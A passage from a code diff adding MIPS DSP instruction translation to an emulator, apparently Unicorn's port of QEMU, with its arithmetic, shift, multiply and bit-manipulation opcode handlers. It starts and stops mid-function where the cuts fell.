check_dsp(ctx); + gen_helper_precequ_qh_obla(tcg_ctx, *cpu_gpr[ret], v2_t); + break; + case OPC_PRECEQU_QH_OBRA: + check_dsp(ctx); + gen_helper_precequ_qh_obra(tcg_ctx, *cpu_gpr[ret], v2_t); + break; + case OPC_PRECEU_QH_OBL: + check_dsp(ctx); + gen_helper_preceu_qh_obl(tcg_ctx, *cpu_gpr[ret], v2_t); + break; + case OPC_PRECEU_QH_OBR: + check_dsp(ctx); + gen_helper_preceu_qh_obr(tcg_ctx, *cpu_gpr[ret], v2_t); + break; + case OPC_PRECEU_QH_OBLA: + check_dsp(ctx); + gen_helper_preceu_qh_obla(tcg_ctx, *cpu_gpr[ret], v2_t); + break; + case OPC_PRECEU_QH_OBRA: + check_dsp(ctx); + gen_helper_preceu_qh_obra(tcg_ctx, *cpu_gpr[ret], v2_t); + break; + case OPC_ABSQ_S_OB: + check_dspr2(ctx); + gen_helper_absq_s_ob(tcg_ctx, *cpu_gpr[ret], v2_t, tcg_ctx->cpu_env); + break; + case OPC_ABSQ_S_PW: + check_dsp(ctx); + gen_helper_absq_s_pw(tcg_ctx, *cpu_gpr[ret], v2_t, tcg_ctx->cpu_env); + break; + case OPC_ABSQ_S_QH: + check_dsp(ctx); + gen_helper_absq_s_qh(tcg_ctx, *cpu_gpr[ret], v2_t, tcg_ctx->cpu_env); + break; + } + break; + case OPC_ADDU_OB_DSP: + switch (op2) { + case OPC_RADDU_L_OB: + check_dsp(ctx); + gen_helper_raddu_l_ob(tcg_ctx, *cpu_gpr[ret], v1_t); + break; + case OPC_SUBQ_PW: + check_dsp(ctx); + gen_helper_subq_pw(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SUBQ_S_PW: + check_dsp(ctx); + gen_helper_subq_s_pw(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SUBQ_QH: + check_dsp(ctx); + gen_helper_subq_qh(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SUBQ_S_QH: + check_dsp(ctx); + gen_helper_subq_s_qh(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SUBU_OB: + check_dsp(ctx); + gen_helper_subu_ob(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SUBU_S_OB: + check_dsp(ctx); + gen_helper_subu_s_ob(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SUBU_QH: + check_dspr2(ctx); + gen_helper_subu_qh(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SUBU_S_QH: + check_dspr2(ctx); + gen_helper_subu_s_qh(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SUBUH_OB: + check_dspr2(ctx); + gen_helper_subuh_ob(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_SUBUH_R_OB: + check_dspr2(ctx); + gen_helper_subuh_r_ob(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_ADDQ_PW: + check_dsp(ctx); + gen_helper_addq_pw(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_ADDQ_S_PW: + check_dsp(ctx); + gen_helper_addq_s_pw(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_ADDQ_QH: + check_dsp(ctx); + gen_helper_addq_qh(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_ADDQ_S_QH: + check_dsp(ctx); + gen_helper_addq_s_qh(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_ADDU_OB: + check_dsp(ctx); + gen_helper_addu_ob(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_ADDU_S_OB: + check_dsp(ctx); + gen_helper_addu_s_ob(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_ADDU_QH: + check_dspr2(ctx); + gen_helper_addu_qh(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_ADDU_S_QH: + check_dspr2(ctx); + gen_helper_addu_s_qh(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_ADDUH_OB: + check_dspr2(ctx); + gen_helper_adduh_ob(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_ADDUH_R_OB: + check_dspr2(ctx); + gen_helper_adduh_r_ob(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + } + break; + case OPC_CMPU_EQ_OB_DSP: + switch (op2) { + case OPC_PRECR_OB_QH: + check_dspr2(ctx); + gen_helper_precr_ob_qh(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_PRECR_SRA_QH_PW: + check_dspr2(ctx); + { + TCGv_i32 ret_t = tcg_const_i32(tcg_ctx, ret); + gen_helper_precr_sra_qh_pw(tcg_ctx, v2_t, v1_t, v2_t, ret_t); + tcg_temp_free_i32(tcg_ctx, ret_t); + break; + } + case OPC_PRECR_SRA_R_QH_PW: + check_dspr2(ctx); + { + TCGv_i32 sa_v = tcg_const_i32(tcg_ctx, ret); + gen_helper_precr_sra_r_qh_pw(tcg_ctx, v2_t, v1_t, v2_t, sa_v); + tcg_temp_free_i32(tcg_ctx, sa_v); + break; + } + case OPC_PRECRQ_OB_QH: + check_dsp(ctx); + gen_helper_precrq_ob_qh(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_PRECRQ_PW_L: + check_dsp(ctx); + gen_helper_precrq_pw_l(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_PRECRQ_QH_PW: + check_dsp(ctx); + gen_helper_precrq_qh_pw(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_PRECRQ_RS_QH_PW: + check_dsp(ctx); + gen_helper_precrq_rs_qh_pw(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_PRECRQU_S_OB_QH: + check_dsp(ctx); + gen_helper_precrqu_s_ob_qh(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + } + break; +#endif + } + + tcg_temp_free(tcg_ctx, v1_t); + tcg_temp_free(tcg_ctx, v2_t); + + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s", opn); +} + +static void gen_mipsdsp_shift(DisasContext *ctx, uint32_t opc, + int ret, int v1, int v2) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + uint32_t op2; + const char *opn = "mipsdsp shift"; + TCGv t0; + TCGv v1_t; + TCGv v2_t; + + if (ret == 0) { + /* Treat as NOP. */ + MIPS_DEBUG("NOP"); + return; + } + + t0 = tcg_temp_new(tcg_ctx); + v1_t = tcg_temp_new(tcg_ctx); + v2_t = tcg_temp_new(tcg_ctx); + + tcg_gen_movi_tl(tcg_ctx, t0, v1); + gen_load_gpr(ctx, v1_t, v1); + gen_load_gpr(ctx, v2_t, v2); + + switch (opc) { + case OPC_SHLL_QB_DSP: + { + op2 = MASK_SHLL_QB(ctx->opcode); + switch (op2) { + case OPC_SHLL_QB: + check_dsp(ctx); + gen_helper_shll_qb(tcg_ctx, *cpu_gpr[ret], t0, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SHLLV_QB: + check_dsp(ctx); + gen_helper_shll_qb(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SHLL_PH: + check_dsp(ctx); + gen_helper_shll_ph(tcg_ctx, *cpu_gpr[ret], t0, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SHLLV_PH: + check_dsp(ctx); + gen_helper_shll_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SHLL_S_PH: + check_dsp(ctx); + gen_helper_shll_s_ph(tcg_ctx, *cpu_gpr[ret], t0, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SHLLV_S_PH: + check_dsp(ctx); + gen_helper_shll_s_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SHLL_S_W: + check_dsp(ctx); + gen_helper_shll_s_w(tcg_ctx, *cpu_gpr[ret], t0, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SHLLV_S_W: + check_dsp(ctx); + gen_helper_shll_s_w(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_SHRL_QB: + check_dsp(ctx); + gen_helper_shrl_qb(tcg_ctx, *cpu_gpr[ret], t0, v2_t); + break; + case OPC_SHRLV_QB: + check_dsp(ctx); + gen_helper_shrl_qb(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_SHRL_PH: + check_dspr2(ctx); + gen_helper_shrl_ph(tcg_ctx, *cpu_gpr[ret], t0, v2_t); + break; + case OPC_SHRLV_PH: + check_dspr2(ctx); + gen_helper_shrl_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_SHRA_QB: + check_dspr2(ctx); + gen_helper_shra_qb(tcg_ctx, *cpu_gpr[ret], t0, v2_t); + break; + case OPC_SHRA_R_QB: + check_dspr2(ctx); + gen_helper_shra_r_qb(tcg_ctx, *cpu_gpr[ret], t0, v2_t); + break; + case OPC_SHRAV_QB: + check_dspr2(ctx); + gen_helper_shra_qb(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_SHRAV_R_QB: + check_dspr2(ctx); + gen_helper_shra_r_qb(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_SHRA_PH: + check_dsp(ctx); + gen_helper_shra_ph(tcg_ctx, *cpu_gpr[ret], t0, v2_t); + break; + case OPC_SHRA_R_PH: + check_dsp(ctx); + gen_helper_shra_r_ph(tcg_ctx, *cpu_gpr[ret], t0, v2_t); + break; + case OPC_SHRAV_PH: + check_dsp(ctx); + gen_helper_shra_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_SHRAV_R_PH: + check_dsp(ctx); + gen_helper_shra_r_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + case OPC_SHRA_R_W: + check_dsp(ctx); + gen_helper_shra_r_w(tcg_ctx, *cpu_gpr[ret], t0, v2_t); + break; + case OPC_SHRAV_R_W: + check_dsp(ctx); + gen_helper_shra_r_w(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t); + break; + default: /* Invalid */ + MIPS_INVAL("MASK SHLL.QB"); + generate_exception(ctx, EXCP_RI); + break; + } + break; + } +#ifdef TARGET_MIPS64 + case OPC_SHLL_OB_DSP: + op2 = MASK_SHLL_OB(ctx->opcode); + switch (op2) { + case OPC_SHLL_PW: + check_dsp(ctx); + gen_helper_shll_pw(tcg_ctx, *cpu_gpr[ret], v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_SHLLV_PW: + check_dsp(ctx); + gen_helper_shll_pw(tcg_ctx, *cpu_gpr[ret], v2_t, v1_t, tcg_ctx->cpu_env); + break; + case OPC_SHLL_S_PW: + check_dsp(ctx); + gen_helper_shll_s_pw(tcg_ctx, *cpu_gpr[ret], v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_SHLLV_S_PW: + check_dsp(ctx); + gen_helper_shll_s_pw(tcg_ctx, *cpu_gpr[ret], v2_t, v1_t, tcg_ctx->cpu_env); + break; + case OPC_SHLL_OB: + check_dsp(ctx); + gen_helper_shll_ob(tcg_ctx, *cpu_gpr[ret], v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_SHLLV_OB: + check_dsp(ctx); + gen_helper_shll_ob(tcg_ctx, *cpu_gpr[ret], v2_t, v1_t, tcg_ctx->cpu_env); + break; + case OPC_SHLL_QH: + check_dsp(ctx); + gen_helper_shll_qh(tcg_ctx, *cpu_gpr[ret], v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_SHLLV_QH: + check_dsp(ctx); + gen_helper_shll_qh(tcg_ctx, *cpu_gpr[ret], v2_t, v1_t, tcg_ctx->cpu_env); + break; + case OPC_SHLL_S_QH: + check_dsp(ctx); + gen_helper_shll_s_qh(tcg_ctx, *cpu_gpr[ret], v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_SHLLV_S_QH: + check_dsp(ctx); + gen_helper_shll_s_qh(tcg_ctx, *cpu_gpr[ret], v2_t, v1_t, tcg_ctx->cpu_env); + break; + case OPC_SHRA_OB: + check_dspr2(ctx); + gen_helper_shra_ob(tcg_ctx, *cpu_gpr[ret], v2_t, t0); + break; + case OPC_SHRAV_OB: + check_dspr2(ctx); + gen_helper_shra_ob(tcg_ctx, *cpu_gpr[ret], v2_t, v1_t); + break; + case OPC_SHRA_R_OB: + check_dspr2(ctx); + gen_helper_shra_r_ob(tcg_ctx, *cpu_gpr[ret], v2_t, t0); + break; + case OPC_SHRAV_R_OB: + check_dspr2(ctx); + gen_helper_shra_r_ob(tcg_ctx, *cpu_gpr[ret], v2_t, v1_t); + break; + case OPC_SHRA_PW: + check_dsp(ctx); + gen_helper_shra_pw(tcg_ctx, *cpu_gpr[ret], v2_t, t0); + break; + case OPC_SHRAV_PW: + check_dsp(ctx); + gen_helper_shra_pw(tcg_ctx, *cpu_gpr[ret], v2_t, v1_t); + break; + case OPC_SHRA_R_PW: + check_dsp(ctx); + gen_helper_shra_r_pw(tcg_ctx, *cpu_gpr[ret], v2_t, t0); + break; + case OPC_SHRAV_R_PW: + check_dsp(ctx); + gen_helper_shra_r_pw(tcg_ctx, *cpu_gpr[ret], v2_t, v1_t); + break; + case OPC_SHRA_QH: + check_dsp(ctx); + gen_helper_shra_qh(tcg_ctx, *cpu_gpr[ret], v2_t, t0); + break; + case OPC_SHRAV_QH: + check_dsp(ctx); + gen_helper_shra_qh(tcg_ctx, *cpu_gpr[ret], v2_t, v1_t); + break; + case OPC_SHRA_R_QH: + check_dsp(ctx); + gen_helper_shra_r_qh(tcg_ctx, *cpu_gpr[ret], v2_t, t0); + break; + case OPC_SHRAV_R_QH: + check_dsp(ctx); + gen_helper_shra_r_qh(tcg_ctx, *cpu_gpr[ret], v2_t, v1_t); + break; + case OPC_SHRL_OB: + check_dsp(ctx); + gen_helper_shrl_ob(tcg_ctx, *cpu_gpr[ret], v2_t, t0); + break; + case OPC_SHRLV_OB: + check_dsp(ctx); + gen_helper_shrl_ob(tcg_ctx, *cpu_gpr[ret], v2_t, v1_t); + break; + case OPC_SHRL_QH: + check_dspr2(ctx); + gen_helper_shrl_qh(tcg_ctx, *cpu_gpr[ret], v2_t, t0); + break; + case OPC_SHRLV_QH: + check_dspr2(ctx); + gen_helper_shrl_qh(tcg_ctx, *cpu_gpr[ret], v2_t, v1_t); + break; + default: /* Invalid */ + MIPS_INVAL("MASK SHLL.OB"); + generate_exception(ctx, EXCP_RI); + break; + } + break; +#endif + } + + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, v1_t); + tcg_temp_free(tcg_ctx, v2_t); + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s", opn); +} + +static void gen_mipsdsp_multiply(DisasContext *ctx, uint32_t op1, uint32_t op2, + int ret, int v1, int v2, int check_ret) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + const char *opn = "mipsdsp multiply"; + TCGv_i32 t0; + TCGv v1_t; + TCGv v2_t; + + if ((ret == 0) && (check_ret == 1)) { + /* Treat as NOP. */ + MIPS_DEBUG("NOP"); + return; + } + + t0 = tcg_temp_new_i32(tcg_ctx); + v1_t = tcg_temp_new(tcg_ctx); + v2_t = tcg_temp_new(tcg_ctx); + + tcg_gen_movi_i32(tcg_ctx, t0, ret); + gen_load_gpr(ctx, v1_t, v1); + gen_load_gpr(ctx, v2_t, v2); + + switch (op1) { + /* OPC_MULT_G_2E, OPC_ADDUH_QB_DSP, OPC_MUL_PH_DSP have + * the same mask and op1. */ + case OPC_MULT_G_2E: + check_dspr2(ctx); + switch (op2) { + case OPC_MUL_PH: + gen_helper_mul_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_MUL_S_PH: + gen_helper_mul_s_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_MULQ_S_W: + gen_helper_mulq_s_w(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_MULQ_RS_W: + gen_helper_mulq_rs_w(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + } + break; + case OPC_DPA_W_PH_DSP: + switch (op2) { + case OPC_DPAU_H_QBL: + check_dsp(ctx); + gen_helper_dpau_h_qbl(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_DPAU_H_QBR: + check_dsp(ctx); + gen_helper_dpau_h_qbr(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_DPSU_H_QBL: + check_dsp(ctx); + gen_helper_dpsu_h_qbl(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_DPSU_H_QBR: + check_dsp(ctx); + gen_helper_dpsu_h_qbr(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_DPA_W_PH: + check_dspr2(ctx); + gen_helper_dpa_w_ph(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_DPAX_W_PH: + check_dspr2(ctx); + gen_helper_dpax_w_ph(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_DPAQ_S_W_PH: + check_dsp(ctx); + gen_helper_dpaq_s_w_ph(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_DPAQX_S_W_PH: + check_dspr2(ctx); + gen_helper_dpaqx_s_w_ph(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_DPAQX_SA_W_PH: + check_dspr2(ctx); + gen_helper_dpaqx_sa_w_ph(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_DPS_W_PH: + check_dspr2(ctx); + gen_helper_dps_w_ph(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_DPSX_W_PH: + check_dspr2(ctx); + gen_helper_dpsx_w_ph(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_DPSQ_S_W_PH: + check_dsp(ctx); + gen_helper_dpsq_s_w_ph(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_DPSQX_S_W_PH: + check_dspr2(ctx); + gen_helper_dpsqx_s_w_ph(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_DPSQX_SA_W_PH: + check_dspr2(ctx); + gen_helper_dpsqx_sa_w_ph(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_MULSAQ_S_W_PH: + check_dsp(ctx); + gen_helper_mulsaq_s_w_ph(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_DPAQ_SA_L_W: + check_dsp(ctx); + gen_helper_dpaq_sa_l_w(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_DPSQ_SA_L_W: + check_dsp(ctx); + gen_helper_dpsq_sa_l_w(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_MAQ_S_W_PHL: + check_dsp(ctx); + gen_helper_maq_s_w_phl(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_MAQ_S_W_PHR: + check_dsp(ctx); + gen_helper_maq_s_w_phr(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_MAQ_SA_W_PHL: + check_dsp(ctx); + gen_helper_maq_sa_w_phl(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_MAQ_SA_W_PHR: + check_dsp(ctx); + gen_helper_maq_sa_w_phr(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_MULSA_W_PH: + check_dspr2(ctx); + gen_helper_mulsa_w_ph(tcg_ctx, t0, v1_t, v2_t, tcg_ctx->cpu_env); + break; + } + break; +#ifdef TARGET_MIPS64 + case OPC_DPAQ_W_QH_DSP: + { + int ac = ret & 0x03; + tcg_gen_movi_i32(tcg_ctx, t0, ac); + + switch (op2) { + case OPC_DMADD: + check_dsp(ctx); + gen_helper_dmadd(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_DMADDU: + check_dsp(ctx); + gen_helper_dmaddu(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_DMSUB: + check_dsp(ctx); + gen_helper_dmsub(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_DMSUBU: + check_dsp(ctx); + gen_helper_dmsubu(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_DPA_W_QH: + check_dspr2(ctx); + gen_helper_dpa_w_qh(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_DPAQ_S_W_QH: + check_dsp(ctx); + gen_helper_dpaq_s_w_qh(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_DPAQ_SA_L_PW: + check_dsp(ctx); + gen_helper_dpaq_sa_l_pw(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_DPAU_H_OBL: + check_dsp(ctx); + gen_helper_dpau_h_obl(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_DPAU_H_OBR: + check_dsp(ctx); + gen_helper_dpau_h_obr(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_DPS_W_QH: + check_dspr2(ctx); + gen_helper_dps_w_qh(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_DPSQ_S_W_QH: + check_dsp(ctx); + gen_helper_dpsq_s_w_qh(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_DPSQ_SA_L_PW: + check_dsp(ctx); + gen_helper_dpsq_sa_l_pw(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_DPSU_H_OBL: + check_dsp(ctx); + gen_helper_dpsu_h_obl(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_DPSU_H_OBR: + check_dsp(ctx); + gen_helper_dpsu_h_obr(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_MAQ_S_L_PWL: + check_dsp(ctx); + gen_helper_maq_s_l_pwl(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_MAQ_S_L_PWR: + check_dsp(ctx); + gen_helper_maq_s_l_pwr(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_MAQ_S_W_QHLL: + check_dsp(ctx); + gen_helper_maq_s_w_qhll(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_MAQ_SA_W_QHLL: + check_dsp(ctx); + gen_helper_maq_sa_w_qhll(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_MAQ_S_W_QHLR: + check_dsp(ctx); + gen_helper_maq_s_w_qhlr(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_MAQ_SA_W_QHLR: + check_dsp(ctx); + gen_helper_maq_sa_w_qhlr(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_MAQ_S_W_QHRL: + check_dsp(ctx); + gen_helper_maq_s_w_qhrl(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_MAQ_SA_W_QHRL: + check_dsp(ctx); + gen_helper_maq_sa_w_qhrl(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_MAQ_S_W_QHRR: + check_dsp(ctx); + gen_helper_maq_s_w_qhrr(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_MAQ_SA_W_QHRR: + check_dsp(ctx); + gen_helper_maq_sa_w_qhrr(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_MULSAQ_S_L_PW: + check_dsp(ctx); + gen_helper_mulsaq_s_l_pw(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + case OPC_MULSAQ_S_W_QH: + check_dsp(ctx); + gen_helper_mulsaq_s_w_qh(tcg_ctx, v1_t, v2_t, t0, tcg_ctx->cpu_env); + break; + } + } + break; +#endif + case OPC_ADDU_QB_DSP: + switch (op2) { + case OPC_MULEU_S_PH_QBL: + check_dsp(ctx); + gen_helper_muleu_s_ph_qbl(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_MULEU_S_PH_QBR: + check_dsp(ctx); + gen_helper_muleu_s_ph_qbr(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_MULQ_RS_PH: + check_dsp(ctx); + gen_helper_mulq_rs_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_MULEQ_S_W_PHL: + check_dsp(ctx); + gen_helper_muleq_s_w_phl(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_MULEQ_S_W_PHR: + check_dsp(ctx); + gen_helper_muleq_s_w_phr(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_MULQ_S_PH: + check_dspr2(ctx); + gen_helper_mulq_s_ph(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + } + break; +#ifdef TARGET_MIPS64 + case OPC_ADDU_OB_DSP: + switch (op2) { + case OPC_MULEQ_S_PW_QHL: + check_dsp(ctx); + gen_helper_muleq_s_pw_qhl(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_MULEQ_S_PW_QHR: + check_dsp(ctx); + gen_helper_muleq_s_pw_qhr(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_MULEU_S_QH_OBL: + check_dsp(ctx); + gen_helper_muleu_s_qh_obl(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_MULEU_S_QH_OBR: + check_dsp(ctx); + gen_helper_muleu_s_qh_obr(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + case OPC_MULQ_RS_QH: + check_dsp(ctx); + gen_helper_mulq_rs_qh(tcg_ctx, *cpu_gpr[ret], v1_t, v2_t, tcg_ctx->cpu_env); + break; + } + break; +#endif + } + + tcg_temp_free_i32(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, v1_t); + tcg_temp_free(tcg_ctx, v2_t); + + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s", opn); + +} + +static void gen_mipsdsp_bitinsn(DisasContext *ctx, uint32_t op1, uint32_t op2, + int ret, int val) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + const char *opn = "mipsdsp Bit/ Manipulation"; + int16_t imm; + TCGv t0; + TCGv val_t; + + if (ret == 0) { + /* Treat as NOP. */ + MIPS_DEBUG("NOP"); + return; + } + + t0 = tcg_temp_new(tcg_ctx); + val_t = tcg_temp_new(tcg_ctx); + gen_load_gpr(ctx, val_t, val); + + switch (op1) { + case OPC_ABSQ_S_PH_DSP: + switch (op2) { + case OPC_BITREV: + check_dsp(ctx); + gen_helper_bitrev(tcg_ctx, *cpu_gpr[ret], val_t); + break; + case OPC_REPL_QB: + check_dsp(ctx); + { + target_long result; + imm = (ctx->opcode >> 16) & 0xFF; + result = (uint32_t)imm << 24 | + (uint32_t)imm << 16 | + (uint32_t)imm << 8 | + (uint32_t)imm; + result = (int32_t)result; + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[ret], result); + } + break; + case OPC_REPLV_QB: + check_dsp(ctx); + tcg_gen_ext8u_tl(tcg_ctx, *cpu_gpr[ret], val_t); + tcg_gen_shli_tl(tcg_ctx, t0, *cpu_gpr[ret], 8); + tcg_gen_or_tl(tcg_ctx, *cpu_gpr[ret], *cpu_gpr[ret], t0); + tcg_gen_shli_tl(tcg_ctx, t0, *cpu_gpr[ret], 16); + tcg_gen_or_tl(tcg_ctx, *cpu_gpr[ret], *cpu_gpr[ret], t0); + tcg_gen_ext32s_tl(tcg_ctx, 